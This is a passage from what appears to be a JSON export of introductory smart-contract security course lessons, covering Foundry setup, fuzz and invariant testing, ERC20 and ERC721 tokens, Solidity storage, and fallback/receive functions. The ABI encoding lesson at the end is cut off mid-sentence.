Pre-requisites\n---\n\n_Follow along with this video_\n\n---\n\n## Pre-requisite Tools\n\nBefore we get deep into coding, there are some useful tools we're going to be using throughout the course. Best to prepare them now.\n\nFirstly, you will need some kind of IDE or text editor. I like to use [**Visual Studio Code**](https://code.visualstudio.com/). For those of you more security and privacy focused you may want to check out [**VSCodium**](https://vscodium.com/) which removes a lot of the Microsoft _stuff_.\n\n## Frameworks\n\nThe primary framework we'll be working with in this course is Foundry. You can view installation instructions for that [**here**](https://book.getfoundry.sh/getting-started/installation).\n\nBut hey, if you’re more familiar with [**Hardhat**](https://hardhat.org/), [**Brownie**](https://eth-brownie.readthedocs.io/en/stable/), or any other framework, don't stress; you can absolutely follow along using your tools. We'll be tackling some Foundry-specific tasks, but you're always welcome to adapt them for your framework of choice.\n\n> Remember: You can use commands `foundryup` to update your Foundry tools and `forge --help` to access a help guide.\n\nAdditional Foundry specific features we'll be using include `cast` and `chisel`, both of which we'll learn more about in this course.\n\n## Coding Environment\n\nIf you're using a PC with Windows, ensure you're using **Windows with WSL**.\n\nThis tool ensures the Linux terminal commands we run are compatible with your machine too. There's a brilliant [**guide by Vasiliy**](https://youtu.be/umepbfKp5rI?feature=shared&t=23546) walking you through the WSL installation process if you need it.\n\nFor Linux and Mac users, you can simply stick with the environments you're already using.\n\nAI tools like [**Phind**](https://www.phind.com/) or [**ChatGPT**](https://www.chat.openai.com) aid in seeking answers when things get tough. One nifty feature **Phind** offers is web searching; you can query \"_install Foundry for the ETH ecosystem_\", and the tool will surf the web, compile an answer, and offer you a digestible solution for your query!\n\n\"block\n\n## Web3 Is About Community\n\nI highly recommend you consider creating accounts on platforms like:\n\n- [**Peeranha.io**](https://peeranha.io/) - A great platform for discussion and QA for Web3\n- [**Ethereum Stack Exchange**](https://ethereum.stackexchange.com/) - One of _the_ best blockchain developer resources available\n and of course\n- [**GitHub**](https://www.github.com) - Every developer needs an account here. It's objectively the best space online to collaborate, discuss and share coding support.\n\nRemember to jump in and ask questions. Don't pretend to have answers when you don't. The learning experience is about being humble and is most rewarding to those willing to ask questions and seek clarity. Embrace the \"I don't know, and I will find out\" attitude.\n\n> One of the worst things you can do as a security researcher is pretend to know something you don't.\n", + "updates": [] + }, + { + "lessonId": "10c4f125-eba0-41a7-bc7a-154842f2bc01", + "number": 2, + "title": "Solidity Prerequisites", + "slug": "solidity-requisites", + "folderName": "2-solidity-requisites", + "description": "This lesson covers the prerequisites for working with Solidity, focusing on skills like using Remix for compiling and deploying contracts, and the basics of Foundry framework. It emphasizes the importance of familiarity with local and cloud-based coding for effective contract development.", + "duration": 4, + "videoUrl": "iYZ4cd02KTxdyUG44SuIzZo1fah02ychPCr3qs4NUZOSg", + "rawMarkdownUrl": "/routes/security/1-review/2-solidity-requisites/+page.md", + "markdownContent": "---\ntitle: Solidity Pre-requisites\n---\n\n_Follow along with this video_\n\n---\n\nAlright! All of the pre-requisites I've mentioned so far, and those mentioned here can be found in the Foundry Full Course ([Fundamentals](https://updraft.cyfrin.io/courses/foundry) _and_ [Advanced](https://updraft.cyfrin.io/courses/advanced-foundry))\n\n## The Prerequisites: Solidity Basics\n\nTo keep up with this course, you should be familiar with all the basic functions of [Remix](https://remix.ethereum.org). This includes `compiling`, and `deploying` to both local and testnet blockchains.\n\nAll of the basic Solidity, variable types, contract structure etc should be second nature.\n\n## Foundry Familiarity\n\nYou should also be familiar with the working environments of Foundry, or your framework of choice. You should understand how to initialize a project in your framework and navigate it's working tree.\n\n
\n\"block\n
\n\nCommands like these should ring lots of bells.\n\n```shell\nforge init\nforge build\nforge test\n```\n\nThe basic code seen in the Foundry example contracts should be things you recognize as well.\n\n```js\n// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\ncontract Counter {\n uint256 public number;\n\n function setNumber(uint256 newNumber) public {\n number = newNumber;\n }\n\n function increment() public {\n number++;\n }\n}\n```\n\n---\n\n## Testing\n\nThe Foundry example test setup contains two distinct test types, a regular test and a fuzz test. These distinctions you should be a little familiar with, but we'll definitely go more indepth throughout this course.\n\n### Exploring Test Types: Regular Test and Fuzz Test\n\nIn the regular test, we merely incept the counter contract and increment it, ensuring the counter number equals one. The Fuzz test, however, involves passing a random number into our test.\n\nAs you may recall, we run this test with a certain number of runs, using different random numbers. No matter the chosen value for X, the test will always hold.\n\nHow do we change the number of fuzz runs? Simply browse to Foundry's TOML file and copy the variable.\n\n```md\n[fuzz]\nruns = 256\nmax_test_rejects = 65536\nseed = \"0x3e8\"\ndictionary_weight = 40\ninclude_storage = true\ninclude_push_bytes = true\n```\n\nIn the TOML file, you have the ability to set the number of runs. For instance, we could change it from 256 to 600.\n\n```shell\n$ forge test\n```\n\nVoila! You'll see that the test Fuzz ran 600 times. This indicates that the test ran with 600 different random numbers.\n\n```bash\nRunning 1 test for test/Counter.t.sol:CounterTest\n[PASS] testFuzz_SetNumber(uint256) (runs: 600, μ: 27398, ~: 28409)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.63ms\n\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n## Advanced Fuzzing: Stateful Fuzzing and Invariant Tests\n\nOn to the next level – **stateful fuzzing**, also popular as invariant tests in the Foundry universe. This aspect of coding might not be your forte yet, but no worries, that's what we're here for.\n\nLet's look more closely at fuzzing and invariant testing in our next lesson.\n", + "updates": [] + }, + { + "lessonId": "7ca092d5-a77c-4d01-b952-53d530f5a25e", + "number": 3, + "title": "Fuzzing and invariants", + "slug": "fuzzing-and-invariants", + "folderName": "3-fuzzing-and-invariants", + "description": "Explore the concepts of fuzz testing and invariant testing in Solidity. This lesson explains how fuzz testing can help uncover unexpected application failures, and dives into the practice of testing invariants, or properties that always hold true, in smart contracts.", + "duration": 10, + "videoUrl": "4bjEKZNJ724C4jGzJHzDs1Q6Q4rLK7zUDbPhY8G0200pc", + "rawMarkdownUrl": "/routes/security/1-review/3-fuzzing-and-invariants/+page.md", + "markdownContent": "---\ntitle: Stateless Fuzzing, Stateful Fuzzing And Invariants/Properties\n---\n\n_Follow along the video_\n\n---\n\n## Testing the Unknown\n\nOften, hacks result from scenarios you didn't anticipate or consider for testing. But what if you could write a test that checks for every possible scenario, not just one? Welcome to the world of **Fuzz testing**.\n\n## What Is Fuzz Testing?\n\nAlso known as _fuzzing_, this is all about supplying random data to your system in an attempt to break it. Imagine your code is an indestructible balloon. Fuzzing involves you doing random things (like poking, squeezing, or even kicking) to the balloon with the sole intention of breaking it.\n\nThis makes it a useful technique for unearthing unexpected application failures. This lesson aims to walk you through the concept and practical application of fuzz testing.\n\n### The Fundamental Principle: Testing Invariants\n\nEach system, from a function to an entire program, has an integral property, often referred to as the _invariant_. This property must always hold true. For instance, you could have a function called `doStuff` that should always return zero, regardless of the value of the input. In such a case, returning zero would be the invariant of that function.\n\nLet's dark dive deeper into what such a function could look like:\n\n```js\nfunction doStuff(uint256 data) public {\n if (data == 2){\n shouldAlwaysBeZero = 1;\n }\n if(hiddenValue == 7) {\n shouldAlwaysBeZero = 1;\n }\n hiddenValue = data;\n}\n```\n\nA unit test for this function would look something like this:\n\n```js\nfunction testIsAlwaysGetZero() public {\n uint256 data = 0;\n exampleContract.doStuff(data);\n assert(exampleContract.shouldAlwaysBeZero() == 0);\n}\n```\n\nThe above test is going to pass because in that specific situation (where `data == 0`), our invariant isn't broken.\n\nFrom the function above, you can expect that `should_always_be_zero` is always zero, regardless of the `data` value. But wait, what happens if our input is `2`? We get `should_always_be_zero` as `1`. That violates our invariant!\n\nOf course, this is a pretty straightforward example. But what if we have a function that looks a bit more complicated? Writing a test case for every scenario could be tedious or impossible. We need to adopt a more programmatic approach to test these cases en masse.\n\n## Introducing Fuzz Tests and Invariant Tests\n\nThere are two popular methodologies when dealing with edge cases: using _fuzz tests/invariant tests_, or _symbolic execution_ (which we'll save for another day).\n\n> \"Fuzz testing and Invariant testing are great tools to assess the robustness of your code.\"\n\nLet's consider an example of a fuzz test in Foundry. Here, we set our data right in the test parameter, allowing Foundry to automate the process of providing random input data during tests.\n\n```js\nfunction testIsAlwaysGetZeroFuzz(uint256 data) public {\n exampleContract.doStuff(data);\n assert(exampleContract.shouldAlwaysBeZero() == 0);\n}\n```\n\nFoundry will automatically randomize data and use numerous examples to run through the test script. This test will be supplied random data from 0 to uint256.max(), as many times as you've conifigured runs.\n\n> Reminder: You can configure the number of runs in your foundry.toml under the [fuzz] variable\n\nNotably, this pseudo-random mechanism is not exhaustive. It won't provide a scenario for every single possible data input. That's why further understanding of how the Fuzzer generates random data is crucial.\n\n## Stateless Fuzzing versus Stateful Fuzzing\n\nFuzzing also comes in flavours, the above being an example of `stateless fuzzing`. Another that is valuable to understand is `stateful fuzzing`. `Stateful fuzzing`, instead of resetting the contract state for each new run, will use the ending state of your previous run as the starting state of your next.\n\nThis is important for situations like our `doStuff` function\n\n\"block\n\nA stateful fuzz test would instead utilize the same contract we just triggered and call another function on it, creating an interlocking sequence of functions throughout a single run. Achieving this in Foundry requires using the `invariant` keyword and a bit of setup:\n\nFirst, we need to import `StdInvariant` from `forge-std` and inherit it in our test contract.\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.0\n\nimport {StdInvariant} from \"forge-std/StdInvariant.sol\";\n\ncontract MyContractTest is StdInvariant, Test {...}\n```\n\nThen, in the setup of our test contract, we need to tell Foundry, which contract we'll be calling random functions on.\n\n```js\nfunction setUp() public {\n exampleContract = new MyContract();\n targetContract(address(exampleContract));\n}\n```\n\nNow our `stateful fuzz` test is going to look something like this:\n\n```js\nfunction invariant_testAlwaysReturnsZero() public {\n assert(exampleContract.shouldAlwaysBeZero() == 0);\n}\n```\n\nWith the above test, Foundry is going to call random functions on the `targetContract` (in our case `doStuff` repeatedly, but were there other functions, they would be called in a random order) and pass those functions random data.\n\n## In Summary\n\nFuzz testing involves mainly understanding your system's invariants and writing tests that can execute numerous scenarios. This is either achieved through `stateless fuzzing`, which provides random data alone with each run independent of the last, or `stateful fuzzing`, allowing both random data and random function calls subsequently on the same contract. This is the new standard for web3 security.\n\nGoing forward, aim to fully understand the invariants in systems you're working on, and write fuzz tests to ensure they are not broken\n\n> \"Fuzz testing is a technique that some of the top protocols are yet to adopt, yet it can aid in discovering high severity vulnerabilities in smart contracts.\" - Alex Rohn, co-founder at Cyfrin.\n\nNext lesson we're going to talk about common Ethereum Improvement Proposals (EIPs)!\n", + "updates": [] + }, + { + "lessonId": "9d521d8e-81b8-4bc0-b446-07362440e116", + "number": 4, + "title": "Installing Libraries", + "slug": "installing-libraries", + "folderName": "4-installing-libraries", + "description": "This lesson covers using OpenZeppelin for ERC20 token integration, including installation and Solidity contract creation, with future insights into ERC20 and ERC721.", + "duration": 3, + "videoUrl": "WcKJ201TiFW5Y1Yexh003HWfGO1g3hZYHrfOsDeb5owEg", + "rawMarkdownUrl": "/routes/security/1-review/4-installing-libraries/+page.md", + "markdownContent": "---\ntitle: Installing Libraries\n---\n\n_Follow along the with the video_\n\n---\n\nWe'll go over Fuzz and Invariant testing in more detail later. For now, let's briefly go over importing valuable libraries into our code base.\n\n### OpenZeppelin Contracts and ERC20\n\nSay, you're working on a project and you'd like to include an `ERC20`, but are unsure where to start. This is where [OpenZeppelin Contracts](https://github.com/OpenZeppelin/openzeppelin-contracts) come into play. This popular library, available on GitHub, provides prewritten contracts for your use, making your life a whole lot easier!\n\nUse the following command to install this library to your project directory:\n\n```shell\nforge install OpenZeppelin/openzeppelin-contracts --no-commit\n```\n\n### Configuring Project Files and Creating New Contracts\n\nNow, navigate to the `foundry.toml` file in your project directory. Here, specify the remappings by setting `@openzeppelin/contracts` equal to `lib/openzeppelin-contracts/contracts`. This sets up the path for the compiler to locate OpenZeppelin contracts.\n\n```markdown\nremappings = ['@openzeppelin/contracts=lib/openzeppelin-contracts/contracts']\n```\n\nOnce remapped, the library and it's contracts can be imported into your project like so:\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {ERC20} from '@openzeppelin/contracts/token/ERC20/ERC20.sol';\n\ncontract MyToken is ERC20 {\n constructor() ERC20(\"MyTokenName\",\"MTN\") {};\n}\n```\n\nFor those who might need a brush up on what exactly ERC20 is or are curious about other types of tokens like the ERC721 (also known as NFTs), stay tuned as we'll be covering them in our upcoming discussions.\n", + "updates": [] + }, + { + "lessonId": "0f2eefd6-73c5-4991-ac1b-2fd319840ed5", + "number": 5, + "title": "What is an ERC20?", + "slug": "what-is-erc20", + "folderName": "5-what-is-erc20", + "description": "This lesson offers an introduction to ERC-20 tokens, their functionality, and applications. It explains the basics of ERC-20 token creation and its significance in the blockchain ecosystem, including use cases like governance tokens and network security.", + "duration": 2, + "videoUrl": "00SC46ZIyrWRIJCiZZ02D45MT9z701pENw6V6L1hnyYbf00", + "rawMarkdownUrl": "/routes/security/1-review/5-what-is-erc20/+page.md", + "markdownContent": "---\ntitle: What is an ERC20/EIP20?\n---\n\n_Follow along the with the video_\n\n---\n\n## What are ERC20 tokens?\n\nFirstly, let's define what ERC20s are. ERC20s are tokens that exist and function on a blockchain network using a predefined standard called [the ERC20 token standard](https://ethereum.org/en/developers/docs/standards/tokens/ERC20/). This standard is essentially a set of rules that dictate certain functions a token should have, allowing it to interact seamlessly with other tokens on the network.\n\nHowever, the magic doesn't just stop at being tokens. ERC20s are also smart contracts. This hybrid nature allows ERC20 tokens to embody complex functionalities on the blockchain. Isn't that cool? A few notable examples of ERC20s include tokens like Tether, Chainlink, Uni and DAI.\n\n> **Note:**Chainlink technically falls under the ERC-677 standard, a higher standard that introduces additional functions while still retaining compatibility with the original ERC20 standard. So, you can think of Chainlink as an upgraded ERC20 token.\n\n## Why care about ERC20 tokens?\n\nAt this point, you might be wondering, \"Why should I even care to make an ERC20 token?\". Well, there are a number of compelling reasons.\n\nERC20 tokens find extensive use in a number of areas. They can serve as governance tokens, allowing token holders to vote on various matters within a DApp (Decentralised Application). They can be used to secure the underlying network. They can also represent some type of static asset, and much more. The sky's the limit when it comes to what you can achieve with ERC20 tokens.\n\n## How to create an ERC20 token\n\nNow that we've addressed the 'what' and 'why' of ERC20 tokens, let's delve into the 'how'. You can create your very own ERC20 token by crafting a smart contract that conforms to the ERC20 token standard.\n\nAn ERC20 compliant smart contract needs to have certain functions - `name()`, `symbol()`, `decimals()`, to name a few. These functions are called to retrieve information about the token. Furthermore, functionalities such as transferring tokens and checking the balance of tokens must also be included in the smart contract.\n\nOf course, the ERC20 is not the be-all and end-all. There are several other upgraded token standards, such as the [ERC-677](https://github.com/ethereum/EIPs/issues/677) and the [ERC-777](https://eips.ethereum.org/EIPS/eip-777) that you might want to check out. These other standards provide additional functionality while maintaining full compatibility with the ERC20 standard.\n\nTo sum up, ERC20 tokens are versatile and powerful constructs in the blockchain realm. Whether you wish to create your own token for a DApp, or simply wish to understand the underlying mechanics of various tokens, gaining a strong grasp on ERC20 tokens can undoubtedly open a plethora of avenues for you. Happy learning!\n", + "updates": [] + }, + { + "lessonId": "65635349-225c-4583-b9ad-62bd27930683", + "number": 6, + "title": "What is an ERC721?", + "slug": "what-is-erc721", + "folderName": "6-what-is-erc721", + "description": "Dive into the world of ERC-721 tokens and NFTs (Non-Fungible Tokens). This lesson discusses the uniqueness of NFTs compared to ERC-20 tokens, their various applications, and the role of ERC-721 in representing unique digital assets on the blockchain.", + "duration": 6, + "videoUrl": "fl00teXY2FM5FsJWEPP5pTDVzPuAxpAxfO44VLT3wnyI", + "rawMarkdownUrl": "/routes/security/1-review/6-what-is-erc721/+page.md", + "markdownContent": "---\ntitle: What is an ERC721/NFT?\n---\n\n_Follow along the with the video_\n\n---\n\nThe buzz around non-fungible tokens (NFTs) or `ERC721s` lately is becoming impossible to ignore, especially within the spheres of art and blockchain technology. NFTs, originally authored on the Ethereum platform, present a unique form of digital asset that holds the potential to revolutionize the world of art, gaming and beyond. But what exactly are they?\n\n## Understanding NFTs\n\nNFT stands for non-fungible token. Unlike `ERC20` tokens, such as LINK, DAI etc, each NFT is entirely unique, and no two tokens can be interchanged.\n\nTo better understand, let's look at a simple analogy. Think of a dollar bill; it holds the same value as any other dollar out there. You can freely exchange a dollar for another, and their value remains the same. This makes them _fungible_. Contrastingly, an NFT is the complete opposite. It could be likened to a unique Pokemon. Each Pokemon is unique and no two Pikachu's are exactly the same.\n\nAs a more relatable analogy, consider an NFT as a distinct piece of art, trading card, or any other one-of-a-kind item. So to sum up, NFTs are unique, non-interchangeable tokens best thought of as indestructible digital pieces of art with a permanent history detailing their ownership and alterations.\n\n## The Many Uses of NFTs\n\nAlthough NFTs are mostly associated with art, they extend beyond that. They can be assigned any property, or manipulated in any way you like, thanks to the underlying smart contract technology.\n\n
\n
\n \"block\n \"block \n
An NFT example from Milady
\n
\n
\n\nThese unique tokens are deployed on a smart contract platform and can be traded on numerous NFT platforms such as [OpenSea](https://opensea.io/) or [Rarible](https://rarible.com/). While these decentralized marketplaces provide user-friendly interfaces for trading NFTs, one could just as easily buy and sell outside of them.\n\n## NFTs: Bridging the Gap for Artists\n\nMany might find the whole concept of NFTs puzzling. Isn't art meant to be tangible? But consider this: artists often aren't adequately compensated for their work. Their creations get copied and shared with zero attribution; they simply lose ownership. But with NFTs, artists can finally get the recognition, and more importantly, the compensation they deserve.\n\n> \"Having a decentralized royalty mechanism, or some type of mechanism where these artists can get accurately comped for what they're doing, is crucial.\"\n\nYes, NFTs can be a solution to current issues plaguing the art industry by creating an auditable and transparent trail of royalties without the need for any centralized service.\n\n## The Role of the ERC721 Standard\n\n`ERC721`, or the NFT standard, forms the basis of it all. To keep it simple, the main distinction between `ERC721` and `ERC20` tokens is that each `ERC721` token has a unique Token ID, an attribute that indirectly represents the asset linked to that token.\n\nTo illustrate the unique attributes of an asset, let's say a piece of art or a character in a game, NFTs rely on metadata and `Token URIs`. Due to the prohibitively high gas prices on Ethereum, it's quite impractical to store these intricate art pieces directly on the chain.\n\n## How Token URIs Work\n\nThe solution? The developers introduced what is known as a `Token URI` in the NFT standard—a universally unique identifier that provides information about what an asset (or token) looks like, and the attributes of that token. Data storage platforms like IPFS or a centralized API usually provide this `Token URI` through a simple API call.\n\nThe `Token URI` should return data in a preset format, including the name, image location, description, and any other attributes that add to the uniqueness of the token.\n\nHowever, storing metadata off-chain does come with its challenges. If the centralized system hosting these assets crashes, every link associated with your NFT is lost. Modern discussions in the NFT world often debate the pros and cons of on-chain metadata versus off-chain metadata. Regardless of the limitations, there's something truly groundbreaking about NFTs, and it's exciting to envision where this technology could lead us.\n", + "updates": [] + }, + { + "lessonId": "ce4c93b4-da09-44e7-87a8-340d4e0d36a8", + "number": 7, + "title": "Advanced Solidity Prerequisites", + "slug": "advanced-solidity-prerequisites", + "folderName": "7-advanced-solidity-prerequisites", + "description": "This lesson explores advanced concepts in Solidity, particularly focusing on storage in smart contracts. It delves into how storage functions, the role of constants and immutables, and hands-on exercises using Foundry to visualize these concepts.", + "duration": 2, + "videoUrl": "sF1SqpxJTXlB5ryqqf00oNmxJbXmwtGTtYneI0002DHnbU", + "rawMarkdownUrl": "/routes/security/1-review/7-advanced-solidity-prerequisites/+page.md", + "markdownContent": "---\ntitle: Advanced Solidity Pre-requisites\n---\n\n_Follow along the with the video_\n\n---\n\nLet's look at a couple advanced solidity concepts that will be important to understand as you progress through this course.\n\n## The Core of Smart Contracts: Storage\n\nThe first advanced feature we'll be covering today is storage in smart contracts. Every smart contract includes this integral element. This critical component is the space allotted to your variables within the contract.\n\nWhen you create a state variable within your contract, an individual storage slot is carved out just for that variable.\n\nIt's worth noting, however, that constants or immutable variables do not occupy space in storage. This unique trait is due to their nature of being stored directly within the contract's bytecode.\n\nTo illustrate:\n\n\"block\n\n### Hands-on Learning with Code\n\nYou can see this yourself through a few commands in Foundry. In the above contract, if we use...\n\n```bash\nforge inspect Counter storage\n```\n\nWe'll get a readout of the storage slots in our `Counter` contract which looks like this:\n\n```bash\n\"storage\": [\n {\n \"astId\": 44623,\n \"contract\": \"src/Counter.sol:Counter\",\n \"label\": \"number1\",\n \"offset\": 0,\n \"slot\": \"0\",\n \"type\": \"t_uint256\"\n },\n {\n \"astId\": 44625,\n \"contract\": \"src/Counter.sol:Counter\",\n \"label\": \"number2\",\n \"offset\": 0,\n \"slot\": \"1\",\n \"type\": \"t_uint256\"\n },\n {\n \"astId\": 44630,\n \"contract\": \"src/Counter.sol:Counter\",\n \"label\": \"number4\",\n \"offset\": 0,\n \"slot\": \"2\",\n \"type\": \"t_uint256\"\n }\n ],\n```\n\nNotice how the variable `number3` isn't returned. This is because this variable is contained as a constant within the contract's bytecode.\n\n> Remember, always experiment with code, because it's in the _doing_ that we grasp the most complex concepts!\n\n### Wrapping Up with a Video Recap\n\nThe next lesson will be a quick video refresher on storage to get up to speed on the concept and prepare for the harder stuff to come!\n", + "updates": [] + }, + { + "lessonId": "4b6fc572-3728-4858-8396-a22e09e10647", + "number": 8, + "title": "Storage", + "slug": "storage", + "folderName": "8-storage", + "description": "Gain a comprehensive understanding of storage in Solidity. This lesson covers global variables, the storage data structure, handling dynamic variables, and the role of constant and immutable variables. It also explains the use of the 'memory' keyword for efficient data management.", + "duration": 5, + "videoUrl": "oo6EIQXLzJxP3aySehqbm1xmwKZnBkI4AhH8tvbcdF00", + "rawMarkdownUrl": "/routes/security/1-review/8-storage/+page.md", + "markdownContent": "---\ntitle: Storage\n---\n\n_Follow along the with the video_\n\n---\n\nIn this lesson, we are going to discuss some important aspects related to variables in Solidity. Much of what we'll cover is conveniently summarized in the [**Solidity documentation**](https://docs.soliditylang.org).\n\n## Understanding Global Variables and Storage\n\nFirst and foremost, we need to familiarize ourselves with the concept of `Storage`. In Solidity, when we refer to variables that are global or those that persist over time, we are actually referring to variables that exist in `Storage`.\n\n\"block\n\nThink of `Storage` as a huge array or list that contains all the variables we create in Solidity. When we declare a variable in a contract—say a contract named `fundamentalStorage`—to be a certain value, such as `favoriteNumber`, we're essentially demanding this variable to persist. This persistence is obtained via `Storage`.\n\nIn code this looks like:\n\n```js\ncontract fundamentalStorage {\n uint favoriteNumber;\n}\n```\n\nThis `favoriteNumber` variable is stored in the `Storage` and can be called whenever required.\n\nNow, `Storage` is essentially an array where every variable (and its value) gets slotted into a 32 byte long slot. This is crucial in understanding how Solidity manages memory and data storage. The indexing of these storage slots starts from 0, and increments just like array indexing in most languages.\n\n```javascript\ncontract fundamentalStorage {\n uint favoriteNumber = 25;\n bool ourBool = true;\n}\n```\n\nFor instance, if a variable—`favoriteNumber`—is assigned the number 25, this number is stored in its bytes implementation `0x19`.\n\n## Dealing with Dynamic Variables\n\nWhile static variables are straightforward, things get slightly intricate with variables that are of dynamic length or can change length. Variables in the form of dynamic arrays or mapping are stored using some type of hashing function (outlined in the documentation).\n\nThe object itself does take up a storage slot, but it doesn't contain the whole array. Instead, the storage slot contains the length of the array. If we add a new element to the array by calling `myArray.push(222)`, the array's length and the new element are stored at separate locations determined by the hash function.\n\n```js\ncontract exampleContract {\n uint[] myArray;\n\n function addToArray(uint _number) public {\n myArray.push(_number);\n }\n}\n```\n\nIn the code example above, `myArray.length` is stored in `storage slot [0]`, while the elements within the array (myArray.push(\\_number)) are stored at `storage slot [keccak256(0)]`.\n\n## Constant and Immutable Variables\n\nInteresting to note is the fact that constant and immutable variables do not occupy spots in `Storage`. This is because such variables are incorporated within the bytecode of the contract itself. Solidity automatically substitutes any reference to these variables with their declared values.\n\n```js\ncontract exampleContract {\n uint constant x = 123;\n}\n```\n\nIn the example above, the constant variable `x` does not occupy a storage slot.\n\n## Temporary Variables: Function Scope\n\nFor variables that are declared inside a function, their existence is ephemeral and scoped merely to the span of that function. These variables do not persist inside the contract and are not stored in `Storage`. Instead, they're stashed in a different memory data structure, which deletes them as soon as the function has finished execution.\n\n```js\ncontract exampleContract{\n function myFunction(uint val) public {\n uint newVar = val + 5;\n }\n}\n```\n\nIn this example, `newVar` only exists for the duration of `myFunction`.\n\n## Memory Keyword: Necessary for Strings\n\nFinally, the `memory` keyword. Primarily used with strings, `memory` is needed because strings are dynamically sized arrays. By using this keyword, we tell Solidity that string operations are to be performed not in `Storage`, but in a separate memory location.\n\nSolidity needs this explicit instruction because arrays and mappings require more space, hence the need to ensure that space is allocated in the appropriate data structure.\n\nHere's a code snippet using `memory` keyword with string:\n\n```javascript\ncontract exampleContract{\n function getString() public pure returns (string memory) {\n return \"this is a string!\";\n }\n}\n```\n\nAll of what we've covered here is outlined in detail in the Solidity Documentation. Understanding these concepts and how Solidity handles variables is integral to attaining a deeper understanding of the language and compiler.\n\n> \"Understanding the nitty-gritty of Solidity variables and storage will significantly amplify your solidity coding skills.\"\n", + "updates": [] + }, + { + "lessonId": "2a197fd8-42ba-4c0b-90c7-0dbb309c7abd", + "number": 9, + "title": "Fallback and Receive", + "slug": "fallback-and-receive", + "folderName": "9-fallback-and-receive", + "description": "Learn about the fallback and receive functions in Solidity. This lesson explains how these functions enable a contract to accept ETH, their default settings, and the significance of encoding in smart contract functionality.", + "duration": 2, + "videoUrl": "gPDUwI529HOhQuW8xGtf5H009LgG702DDHWMtAtxuNG02Y", + "rawMarkdownUrl": "/routes/security/1-review/9-fallback-and-receive/+page.md", + "markdownContent": "---\ntitle: Fallback and Receive\n---\n\n_Follow along with the video_\n\n---\n\nIn the world of Solidity smart contracts, it's important to understand the fallback and receive functions. By default, Solidity smart contracts reject any Ether (ETH) sent to them. In order to enable your contract to accept ETH, we would implement `fallback` and `receive` functions. Let's look at these mose closely.\n\n## What are the Fallback and Receive functions?\n\nThese two specific functions - `fallback` and `receive` - enable a contract to accept and react to native ETH sent to it. Both these functions can be made \"**external payable**\", indicating that they can receive and handle ETH.\n\nSo, how do they function? Here's the core logic to give you a better understanding:\n\n
\n \"block\n
\n\nTo put it simply, consider the case of sending ETH to a smart contract without any data. In such an instance, the `receive` function would be called, resorting to `fallback` if the `receive` function does not exist.\n\nOn the other hand, if there _is_ data, Solidity will skip straight to the `fallback` function, bypassing the `receive` function entirely.\n\n## Default Settings in Solidity\n\nIt is worthwhile to note that the `fallback` function may or may not be payable. If the contract lacks a `receive` function and the `fallback` function isn't payable, then the `fallback` function won't be called when you send ETH to the contract.\n\n```js\nfallback() external{}\nreceive() external payable {}\n```\n\nBy the same token, a contract that does not contain any of these functions will reject any ETH sent to it. In fact, Solidity will automatically compile this contract to reject ETH - with at least one notable exception we'll go over later.\n\n## Deepening Understanding: Encoding\n\nThe next lesson is a clip you might remember from the Foundry Course. We're going to go over encoding and explain how it can be used to call any function on any contract from another contract.\n\nLet's do it.\n", + "updates": [] + }, + { + "lessonId": "3c15b341-1146-4e78-abfd-fc77d99fae7f", + "number": 10, + "title": "ABI encode", + "slug": "abi-encode", + "folderName": "10-abi-encode", + "description": "This lesson focuses on ABI (Application Binary Interface) encoding in Solidity, explaining its role in concatenating strings and encoding data into binary. It provides insights into the process of compressing binary data and techniques for multiple data encoding.", + "duration": 23, + "videoUrl": "f7wx2PhJ2afdUY8Fj02kloU3kFVzR7B0200802vcmVXJano", + "rawMarkdownUrl": "/routes/security/1-review/10-abi-encode/+page.md", + "markdownContent": "---\ntitle: Abi.encode & Abi.encodePacked\n---\n\n_Follow along with the video_\n\n---\n\n## Understanding ABI.encode & ABI.encodePacked in Solidity\n\n### Introduction\n\nThe topic we're diving into is how to concatenate strings in Solidity, specifically exploring `abi.encode` and `abi.encodePacked`. This is advanced stuff, delving into the low-level workings of Solidity, binary, and opcodes. Remember, it's okay if you don't grasp it all on the first go!\n\n> Remember: You can find all the code we'll be working with [**here**](https://github.com/PatrickAlphaC/hardhat-nft-fcc/tree/main/contracts/sublesson).\n\n### Getting Started\n\n- **Setting Up:** We'll use Remix for this exploration. Start by creating a new file named `encoding.sol`.\n\nYour contract should look something like this:\n\n```js\n//SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.7\n\ncontract Encoding {\n function combineStrings() public pure returns (string memory) {\n return string(abi.encodePacked(\"Hi Mom! \", \"Miss you.\"));\n }\n}\n```\n\nCompiling this contract and calling the `combineStrings()` function in Remix is going to give us the whole string `\"Hi Mom! Miss you.\"`\n\n### Exploring `abi.encode` and `abi.encodePacked`\n\n- **Understanding Encoding:** We use `abi.encode` and `abi.encodePacked` for encoding strings and other data types into a binary format. In our function above `\"Hi Mom!\"` and `\"Miss you.\"` are both converted into binary then concatenated. We then typecast the returned binary is a string.\n\n`encode` and `encodePacked` are examples of globally available methods in Solidity. There's a [**Cheatsheet**](https://docs.soliditylang.org/en/latest/cheatsheet.html) you should checkout with more information and tonnes of examples of these globally available methods and variables.\n\n> Note: As of `Solidity 0.8.12` you can also use `string.concat(stringA, StringB)` to achieve the same result as our `\"Hi Mom!\"` example.\n\nBefore getting to deep with encoding, let's take a step back to understand what's happening when we send a transaction.\n\n### Compilation Breakdown\n\n\"block\n\nAs seen in the image above, when we compile a smart contract, the solidity compiler is returning two things `contract.abi` and `contract.bin`. The `abi` you likely remember from previous lessons.\n\n`Contract.bin` is the binary representation of your contract. This is the actual code that get put on the blockchain.\n\nWe see this binary object in transaction we send to the blockchain. Recall what constitutes a transaction:\n\n```js\ntx = {\n nonce: nonce,\n gasPrice: 10000000000,\n gasLimit: 1000000,\n to: null,\n value: 0,\n data: \"BINARYGOESHERE\",\n chainId: 1337,\n};\n```\n\n> Note: When we're deploying a new contract, this is still a transaction on the blockchain, but our `to` property is empty and the `data` field will contain both the `contract init code` and `contract bytecode(binary)`.\n\n[**Here's**](https://etherscan.io/tx/0x112133a0a74af775234c077c397c8b75850ceb61840b33b23ae06b753da40490) a transaction on etherscan.io with a binary data object you can inspect.\n\nAt first look, the binary data in a transaction looks like chaos. Just a garbled mess of letters and numbers. You may be asking yourself - how does the EVM (Ethereum Virtual Machine) make any sense of these 